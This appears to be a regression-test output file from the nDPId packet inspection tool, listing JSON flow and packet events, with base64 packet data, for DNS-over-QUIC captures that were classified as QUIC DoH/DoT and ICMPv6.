+02094{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"doq.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1606056093,"pkt_ts_usec":199591,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"AAAAAAAAAAAAAAAAht1gJqqiBNgRQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAButIDEATYBOvN\/wAAIAhwsYltsps+WghOL+O5iCYx+QBEtgiJINLAj38+CB9CqAWNGDJ\/Ht0GdZPYPfPv0gkn+G7KypaOwXpeaLqP2vrcKno6\/xJHt9kjbL2TY4b\/m9R6nztt0oBs85JJhS7Tj\/KxdnJUR5x1KoMSoiK8Up0wKQjS6CJwz+096+5cglByj68BpzrUHMPeI6GM8BR\/Wl2qjunMufbT3ODI125lDdGTaTqNLCMEIjagI12Vrkh1+4q55QnPNmDSc9uNkJ0l5bhH58Gr3GA8HfFg35RCENcGDFpWMYVXiM4ZLQRFPmW9PqqUvAkPFdK1\/e6zKceMIWl6qFwaRZM+da6dEGVcJjr7Z+tAEETRp6uqCb9nnpAvg2AYmEND50nvVEnJ0vebAvnDE4IogXJzua2gFwFm7VLYd1uL79o4iJgu\/rwI3t1+Scpc6iAB46mZWFz3fE1WDQxwSMiil9o8+U4JW1BkjaBlJjEwDLig1LbtT\/HP47m8JDRgq00wdO+B2e1saSoPUtzWH02fRpSsRwHLssxWK\/GeM8n4na9wb14wVoOdjdGJ+KEHpdBBYTSNse3PnwWrKaaP0mh7odZYLBlgeNvTBLAUy7TPWKcxmhtN6bsS\/Yjh2568CzWxz8tWmprG6YblEP1vhUU2WDKbQBSh9+e7EH2JaN6LGpgUM6\/yeDE+g\/QCDKFbnXJHaC3VNe2EpDTrUSTzTJX2ScnDPI4dI01EvvWXSfxAJzcCmkKAUz3B\/F3DS8bS2lYESb9nSox1FCQUX1S8MhWCL4jSZ4wobqLA6VEQ7puZt\/yd5mc0snO7+JferPZwSQV1jN5hdBcuNb6kj\/JG4pzUoB7QTPQcjcnBLCPQDWDzw3nQ+Ebywtgt9T0aEFqJVOTfT95bWTz6VinV\/brwfnTHpSbkUgeBvFyaDcSzRz5tFZ0q4\/gUbfajms9qKrPFsufIU5NQtKyl5gUxP+4xC0KsglyEqg4DVy8vzlOpHC9Zo8AzpD2Cd9yZUaVpS3jLxre91YlfpTBViFMhAAL1N+wl47YhA2pgyB2GGbWg1O6K4C74tiA9XM\/lrGlbtuiyqqRmlQ+OfACiiCT0\/fwnridhEP9NjW3A9LNkp5ph6u81Z1emHsIGmFkXyP7nojGy2XKkTHlNA+eKBGol\/TUgCzHu7qPwHu5vMLlk5NNq3Od8+eHViQU1LY+OXeYFHuY2S+VSf848yXn0P1WZ\/Hf4jpB8WMcPpj0cXHyY46IsajmZ4uRB40h68eDc26RMlrZAfwBIGjks8KSh5b2f1BdJ6LJ4taZkNl8x+qPVYwRdc+lJsRkcGfu+BxMBIzhOPr2wg8uauRqGpIMGiSEXt5eLhu3VHEqTuhLQrFWRwEWEm+WzY4itmVZYx3CM7zWu6j3KhN5W5HEWKe61AmbunEuzKrb9KKf1hG4Uz72IU4aUy8+qV8fLyqPe7E\/Hm\/QiosHbq0whMHw6xHc0E9dDFb7\/w2jqW\/bhRCLrrZSTu8KDShAe9bkemwaFOWgs8zleXJrozrnvcOKNBpToZAop8FcA1V6SZ+05avECZK7qQ04Uc8xlehoG+3W27ZNgeNIiTH8MtU0A5kV6veOOCPQW7GGwaBK9iuORoisN7YKGMwzzN0ZIQ\/IailJpjg=="} +00715{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"doq.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1606056093199,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"::1","dst_ip":"::1","src_port":47826,"dst_port":784,"l4_proto":"udp","ndpi": {"flow_risk": {"24":"SNI TLS extension was missing"},"proto":"QUIC.DoH_DoT","breed":"Fun","category":"Network"},"quic": {"version":"TLSv1.3","alpn":"doq-i00","ja3":"c0ce40fbb78cbf86a14e6a38b26d6ede","tls_supported_versions":"TLSv1.3,TLSv1.3 (draft),TLSv1.3 (draft),TLSv1.3 (draft)"}} +02098{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"doq.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1606056093,"pkt_ts_usec":201842,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"AAAAAAAAAAAAAAAAht1gJPSDBNgRQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAxC60gTYBOvN\/wAAIAhOL+O5iCYx+Qi72eOch5MP7QBAnCxpB\/ZzHhatBCMXwxT8fSrL9Wdt\/ZFOXhnvUbk6DdAuuzdAXxro6AjNqIcuTb2Re8BepV9SRKgSpP5M7LrQffcZ9shmrS20KZKb\/ztrJeGi\/T\/Srzlr49oBUZ5XMUOjcM7DeI6CgL+ZkO5L8gOV4+8ueGIUub0wiW6+Jof5086V6cR2hj9bBsTK6z5+hag0bw2HYNhsBUUI567S6uj\/AAAgCE4v47mIJjH5CLvZ45yHkw\/tRAEwp7WGjD8jV9zAfZPHhqQ1G3rU1wu59XApa\/uBCBj\/P3rsDGNWqlRQj5q2CQMAtwoaVW5R4D\/leJG\/QScVoSAiDmPCSxR8YrHk5Y7hGxh+CuYKI4vAFyF29Gcm7XH58xSv+Y0je37cyhm71z7xP4G24oT+neWXAiCImQb8UPinjOVju\/1ZXWChdKepJDE+EqJTk8BoOpF9LvyXj5n733Xph2u5IJ\/p\/3foWmTC0fAjiMQ12dhZ6KIFgHDWW0UYsYoYGxC75AmqEL4W0ZygLN4Jp+zSt6jJsE6uSWjtu9Mwx8zRmpzIUbk2rS\/lIYNH+L8sZitAI\/mAouO1FzaXzIPuVV15eTfM\/D4HfHtnBqU5JIgEq30fGDU8vQEvr9VcBwpWT5O0sL5kG6g3W7z970vBsvCXzENm+QLPGXr10ns2jeQncf3V0s9pvLk2K4TGX8jm5gNEpFEQC6sid28q4Y5Bk2mCdnHt7MFfqeIQtVf6U3jEBxXtqNwnbDuTXuCGC9PAu0Ie4j3YiB88cN+EoNanC8QpOjA3mDQP6RbMKMlxgNT1GCSYoSSr70l\/p2Vp0WohDZeycXBsQ9txnWshMbiCp8imTkzhOWSmVNhhzqZOyuIxBEnqW6hAlYSRGGlQym+AFEpgzsjqJLjzqOLeESR5tBel8x5HwEzLLqVaja5Udf5uBnGJUVNub2RGOPiMMnZCl+iL2LRMiCHUoBDmvimDtRLtAOt2SNvH93OMwXA\/IyIrY+XO56T3mS1YSU9Ydwn6d5ywddheaImd1U\/vJ57ZtUSbUvf+DXuTp09bwzrY9tw5NZDPH\/iljKwqemZHmirnsyyz4OUNANR+9\/kuYPx2d\/ZS7953Z8P\/sqzOE3LjEyoUSRCXVL4XoEkGM23PQQcDudByAaZ+9LTgkgxPTKnHgpxcDQowxdEx+BnESQ9DwSJQM7+xTAOPC9sMDrzuSInM7z5AK+Pqrk4B2Vwy+rXo798A5XjeZBrTkCt8XwQLpXhtqaRjTnFTN9kHqTE4fN2bwWBueF8sdBSZ3aK2MK9uuf3XfveW2fg\/1tyeU\/EXgKHtRL55w3iVM91ZMotsrGhoYdGkE7MCdncoh54jfxD5eJPuIFA4F254QXkd2ttFid3O1xFmVbRo9jbjk7d2+6yRzPkKLtyJyptApw6QxkBCFBxcnQA+oUEGOkjoCUtqGfeqRlTptqqqHIGzgHL7YafvSlJW897JYtCkXn4zJMDfapn6QTBVXFY5QqgjOXt2wlG+PDpn\/mQw9NRGoj69MbbDe3NA2MYvJlkgzXKIONO\/pMfrd3koD58ywf54r7NUNGTOOHuRxW0PSRKrZNlpqXdbaK\/wnr76JF4R3R\/+EOYL7g=="} +01070{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"doq.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1606056093,"pkt_ts_usec":201890,"pkt_caplen":541,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":541,"pkt_l4_len":487,"pkt":"AAAAAAAAAAAAAAAAht1gJPSDAecRQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAxC60gHnAfrr\/wAAIAhOL+O5iCYx+Qi72eOch5MP7UD5fEmqw9QcMOSnUe6MDD2OecgnWjkNXdwC4dZSYxJC82j7Fa0gkq+nfYTDU9ChVEdtH45\/vQtNEQLo8\/fwDbneJcHDHavc8EGoV3PxsxkBJhE9Q9u9yCLvfi5OphDBHPeBIHPaxUcLs3S\/L\/IXKVQgfNTTVjkzoLHy1OXpC+\/dTEnbC6NPh6W28rc+x7GLNNHF1FfqMGoKlGMxFCg2HP4dP34NipPXt9vl2rd70ScFdoNK8lXc8OrIbXPCPHixiwns3JeTqs80ZysmuTQ2x3K2Z0oX8Qiv0kbMUxxeHDtUjo8dxO3WaXzqWjfDA1saoqoMHVxUCwkVWx\/nTk4v47mIJjH5cyeRXhMbCk5EqVB08GBVQ7VrDqROkZ4dznjO7Fxcyd8w3IE3VD3OcSvdJI5P\/k+2JVbsoJApIjU\/SqrAeDrs9BCVoOX+elSyfnlFmV+9qRiAxndyJco\/u++psEVtXikdkQ7Ddxgmc8mefhAnBHbf+ng4whbMJA82KtXAE9ITJwKPkOdTXiPwFa2uYw57B9+WqNDFf9ReX9HTME9BVtddLPrQ8G9aG6w3Krk5ZmHecrC9Btpgbpsrq+OkBS2cbpJHIvCTkg=="} +00713{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"doq.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1606056093,"pkt_ts_usec":202274,"pkt_caplen":279,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":279,"pkt_l4_len":225,"pkt":"AAAAAAAAAAAAAAAAht1gJqqiAOERQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAButIDEADhAPTg\/wAAIAi72eOch5MP7QhOL+O5iCYx+UBDpLbz6hVr3VQhQggh8jeSy4LrSByAKcA4h02NrSHlYfiZeIBfX4cUD4rj0whBaxqv8GZptq0Yh86VFZ7cihClGjSAiHi72eOch5MP7eD67j31tF9Ewc7\/cDWWW5sbKgeZ8Ni53gCKJC4UiBzoddfNqguK6L47A8v5MfBqkmPLLd375Ln\/BizbinX7j2Wb\/eMxuHFSq+9VI36g5fjgo4+MYm50K5k9Iro9bud9p1Ez1Q+5mh70eHrGquqOwXiz\/D6V"} +00494{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"doq.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1606056093,"pkt_ts_usec":202403,"pkt_caplen":117,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":117,"pkt_l4_len":63,"pkt":"AAAAAAAAAAAAAAAAht1gJPSDAD8RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAxC60gA\/AFJlTi\/juYgmMfn9kwZ\/pHhSrh3ehTRbaZDPgN9szEjiw9MSyFHETGqFqhGnh2abuDuggnuqOgZm"} +00494{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"doq.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1606056093,"pkt_ts_usec":202444,"pkt_caplen":117,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":117,"pkt_l4_len":63,"pkt":"AAAAAAAAAAAAAAAAht1gJPSDAD8RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAxC60gA\/AFJ+Ti\/juYgmMfkFPtLys4ZSi6D0KfNjq6GGk2xyEU5+OOnOSR2XedPbHq\/YxmgA3z0Kp3zzTWjG"} +00492{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"doq.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1606056093,"pkt_ts_usec":202473,"pkt_caplen":117,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":117,"pkt_l4_len":63,"pkt":"AAAAAAAAAAAAAAAAht1gJqqiAD8RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAButIDEAA\/AFJMu9njnIeTD+1UZ3UL1a3XfRaN5wUfWs7iYRlISEYaJh8AeMvzJsGP1FxH1D7p62sJHL54hGmz"} +00535{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"doq.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1606056093,"pkt_ts_usec":209998,"pkt_caplen":147,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":147,"pkt_l4_len":93,"pkt":"AAAAAAAAAAAAAAAAht1gJPSDAF0RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAxC60gBdAHBBTi\/juYgmMflHgN8pivud+t+xRWTjwsuKf67lT\/nM9uYZhGnTjZKGw6ObJH\/xJ9ga6sYiFSk22PsyWv4EW+86EoI8R8diOdKlj\/jL1WT6sn8whw05"} +00534{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"doq.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1606056093,"pkt_ts_usec":260163,"pkt_caplen":147,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":147,"pkt_l4_len":93,"pkt":"AAAAAAAAAAAAAAAAht1gJPSDAF0RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAxC60gBdAHBSTi\/juYgmMflcDuw8PGqwk7AnmnlBLKl9VVw5FwNIUr\/uwhxQriWlV5lsPREfqCWcyBCgL5DIrZMPOHK4EaoyceBY8ce9ZV4nlYvSeOP\/TgYtdDng"} +00426{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":10,"source":"doq.pcapng","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1606056093260,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip6","src_ip":"::1","dst_ip":"::1","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +00600{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"doq.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1606056093,"pkt_ts_usec":260178,"pkt_caplen":195,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":195,"pkt_l4_len":141,"pkt":"AAAAAAAAAAAAAAAAht1gAryMAI06QAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAQRnKgAAAABgJPSDAF0RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAxC60gBdAHBSTi\/juYgmMflcDuw8PGqwk7AnmnlBLKl9VVw5FwNIUr\/uwhxQriWlV5lsPREfqCWcyBCgL5DIrZMPOHK4EaoyceBY8ce9ZV4nlYvSeOP\/TgYtdDng"} +00460{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":10,"source":"doq.pcapng","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1606056093260,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip6","src_ip":"::1","dst_ip":"::1","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +00535{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"doq.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1606056093,"pkt_ts_usec":360401,"pkt_caplen":147,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":147,"pkt_l4_len":93,"pkt":"AAAAAAAAAAAAAAAAht1gJPSDAF0RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAxC60gBdAHBBTi\/juYgmMfl+TZ3+Hmg+6BC4SDTuwiFJDfNooVH1WKEmkSpLklzCTh\/kA9o9N4HNfPmXD7MqNM0jiO2jHXBOtk8kidE7CVxn0BTfngjMfjmwfG7Q"} +00599{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"doq.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1606056093,"pkt_ts_usec":360423,"pkt_caplen":195,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":195,"pkt_l4_len":141,"pkt":"AAAAAAAAAAAAAAAAht1gAryMAI06QAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAQTEgwAAAABgJPSDAF0RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAxC60gBdAHBBTi\/juYgmMfl+TZ3+Hmg+6BC4SDTuwiFJDfNooVH1WKEmkSpLklzCTh\/kA9o9N4HNfPmXD7MqNM0jiO2jHXBOtk8kidE7CVxn0BTfngjMfjmwfG7Q"} +00536{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"doq.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1606056093,"pkt_ts_usec":560720,"pkt_caplen":147,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":147,"pkt_l4_len":93,"pkt":"AAAAAAAAAAAAAAAAht1gJPSDAF0RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAxC60gBdAHBcTi\/juYgmMfl+eB8WJkIN5W\/s2kV3mgzDwRAUXXe+90zefQTxG5fKyAbzm2S0iX0HuS+7+NHu2bYpwdweEdBhQ2oYMUDLzzaxqsrt98mI\/P6gjJFj"} +00600{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"doq.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1606056093,"pkt_ts_usec":560741,"pkt_caplen":195,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":195,"pkt_l4_len":141,"pkt":"AAAAAAAAAAAAAAAAht1gAryMAI06QAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAQQoBAAAAABgJPSDAF0RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAxC60gBdAHBcTi\/juYgmMfl+eB8WJkIN5W\/s2kV3mgzDwRAUXXe+90zefQTxG5fKyAbzm2S0iX0HuS+7+NHu2bYpwdweEdBhQ2oYMUDLzzaxqsrt98mI\/P6gjJFj"} +00537{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"doq.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1606056093,"pkt_ts_usec":961120,"pkt_caplen":147,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":147,"pkt_l4_len":93,"pkt":"AAAAAAAAAAAAAAAAht1gJPSDAF0RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAxC60gBdAHBfTi\/juYgmMflS6XrRM3NE64gCnMTWXvph3oKh7ctYBkACBMmlOmKbVyBoNu1QX9oiZndhjvcT1sr\/s7m0UR3xoUt6r5A1aTUuiW\/\/BNziTYsU5ZyH"} +00601{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"doq.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1606056093,"pkt_ts_usec":961134,"pkt_caplen":195,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":195,"pkt_l4_len":141,"pkt":"AAAAAAAAAAAAAAAAht1gAryMAI06QAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAQSNQgAAAABgJPSDAF0RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAxC60gBdAHBfTi\/juYgmMflS6XrRM3NE64gCnMTWXvph3oKh7ctYBkACBMmlOmKbVyBoNu1QX9oiZndhjvcT1sr\/s7m0UR3xoUt6r5A1aTUuiW\/\/BNziTYsU5ZyH"} +00535{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"doq.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1606056094,"pkt_ts_usec":761959,"pkt_caplen":147,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":147,"pkt_l4_len":93,"pkt":"AAAAAAAAAAAAAAAAht1gJPSDAF0RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAxC60gBdAHBDTi\/juYgmMflRQ+5iHRbV0PH6VAD4ThaqZ1CAONxwoz6WhjCyy3b7S1XIRkGal+nrRIME3nHuB4Ws4VB9TKvtbvdiy1ZVtUUE7G\/BOwkfFiH9M8cl"} +00599{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"doq.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1606056094,"pkt_ts_usec":761968,"pkt_caplen":195,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":195,"pkt_l4_len":141,"pkt":"AAAAAAAAAAAAAAAAht1gAryMAI06QAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAQRDyQAAAABgJPSDAF0RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAxC60gBdAHBDTi\/juYgmMflRQ+5iHRbV0PH6VAD4ThaqZ1CAONxwoz6WhjCyy3b7S1XIRkGal+nrRIME3nHuB4Ws4VB9TKvtbvdiy1ZVtUUE7G\/BOwkfFiH9M8cl"} +00534{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"doq.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1606056096,"pkt_ts_usec":363686,"pkt_caplen":147,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":147,"pkt_l4_len":93,"pkt":"AAAAAAAAAAAAAAAAht1gJPSDAF0RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAxC60gBdAHBRTi\/juYgmMfk7fzjw3Vkk9LKBWcCW8JCljapCgvuQGIA4MlTOIZaNPxeCLfwxGo8OzSiugSvTVy7BU3rCif4Dtc3ePYXiNIKKXsDwOeyqUoLvTo8o"} +00598{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"doq.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1606056096,"pkt_ts_usec":363710,"pkt_caplen":195,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":195,"pkt_l4_len":141,"pkt":"AAAAAAAAAAAAAAAAht1gAryMAI06QAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAQT2OQAAAABgJPSDAF0RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAxC60gBdAHBRTi\/juYgmMfk7fzjw3Vkk9LKBWcCW8JCljapCgvuQGIA4MlTOIZaNPxeCLfwxGo8OzSiugSvTVy7BU3rCif4Dtc3ePYXiNIKKXsDwOeyqUoLvTo8o"} diff --git a/test/results/doq_adguard.pcapng.out b/test/results/doq_adguard.pcapng.out new file mode 100644 index 000000000..058707867 --- /dev/null +++ b/test/results/doq_adguard.pcapng.out @@ -0,0 +1,17 @@ +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"doq_adguard.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1608278425043,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.169","dst_ip":"94.140.14.14","src_port":41070,"dst_port":784,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02073{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"doq_adguard.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1608278425,"pkt_ts_usec":43144,"pkt_caplen":1274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1274,"pkt_l4_len":1240,"pkt":"CL6sCxdumt9Y+uvcCABFAATsXYdAAEARno7AqAypXowODqBuAxAE2E0Zwf8AAB0S1uV91ARNGaKcpPbuz4JRKRijEV3+fOp1xbl+o2VPCxw5C7F1AESjjIExuU1VGYMi3qR5FgZXmV5jW\/GS3bvPGESTCXlAOuaNPS4Z9rqb5GmZjOPu5h+dEeHCBQsH0bRQhppRcffIYyvfvxi5LNyq540e1YcNLgxwEYv9mwEEutsUSgLF8qQi1vATlbVLiQwhaXITCRD653klYnm9BoO04fUR8kaaf1qYfex026282Q5EvztDSyWuA6xW\/3D3I27VAQo2GbCoqYf0QIrZOfacQartZRA3xvw5C0Iz0S7jBboiOrSPOxbet7b4p4CBzdW+POAUSVXQZZS3xQkY5PXEeYGco5aUsp3O0lAaLfFFVll\/srPVtdJxYLG5mlTKam3NxBl9gHT9gkoJzUoEmtdaRDaxhP5yiedQs+JgoW4F1fDqHPMPnBtk1UezjBjE\/COENcHIEQq2HIfbQ9Lv+kS5CfcaSKs2mUQTuvs7\/voDRF2y7TFb+uqyMeAqq3doSDMB2jHa\/EojP\/f+RrMNy\/X7kDEEcbw43eMXD1tzHjBj\/ncaLMsfP3IPyZyF35MF8e+053ploy3mGcl5fW5eZxUFM6FDjn\/9\/9yB7HR5pdMyplGzzI1OpdByhfvbVWjVUlFgtm4LcbCFS9YXIuJWVQaT92LVmTrycmBpec\/NHPi6MerrZrFPH1cWAKJm6C\/35hd09a7vURbcj2Nwu+wvQEGek3M9LNpTgKAxfeLa6jR7yY8FRi9Fslx+40aTEwGgLY10PqSAVV873bY1HrjXgee+hInU5OzwDGisUkG1vjenUqCdXtWODZ9xJFrjxkNSBVsfWyX84bL4AH0cHSMH3bXpv8DZGk6dvuB1thnl5dRd79ArhxOkLRjIKU\/spE2xAqe+laOg7FDuovO8+vb44+p0a1tCIq75DbW5Z\/3eQHDpNFbf\/ZruNBwv0I6n5NxcgHEUQaffXIlX36W8Z8AD3YDD85hA4jZxmySge94o03q\/ZMGs+bJTnaK8KlLmSNMXuFjJ7F4SdWbAr+gE3KQqFqqYY9ZfiG2QbB9\/YTG+8SQBafYwX6k2J2OEpMyUilzmDTz3a5eH47iPLgq2nb2F+k0c4RMx6bB8xhJbOXMxEbB5OktMbojYZ5\/D7JZ6FArciEMMkyFIwplniDv\/bjNCRjIZzGWltVCRAQBZZf0ds2kXzLEOIGMUpx2oFRtwDgwesKJgy9be1woTT3HVmrfv8vUkkFOD253UN9bBIfIU4elVEm8DEZ93RQ8PGCnqpWPqKVclryY+VrRX6bBv\/eydiZowniNJyXmSTkGKfOGX30rdpMaFIjV9VAFWlq4kC1zIbyb3K46JC+I+XxrKEmMLqMbO6CesmtgLUC8vVTv7LWODOF1NIRzdEgb8Qn\/9qSY3t6c\/zKgfF8YyVeS6jf5EL3te6RDnB0wZsaBklSDaR66VSY+qB2O5PnaefdIKM\/htIG2nKmWB0tq+\/dxdUHWEvheHhEbmX4TUB3cfXIIesE+zpUW6KXqwY94WHHPEMe6voxs49AJ\/2IZiFohwbn6CjrWd2PilA\/\/N7kVyw58ilFGWokoGNIRgJ61vUDU8rgEdxFK12mR1bebXKhOpf+Sf7ekcBE2R4BLb6ThrQxQ="} 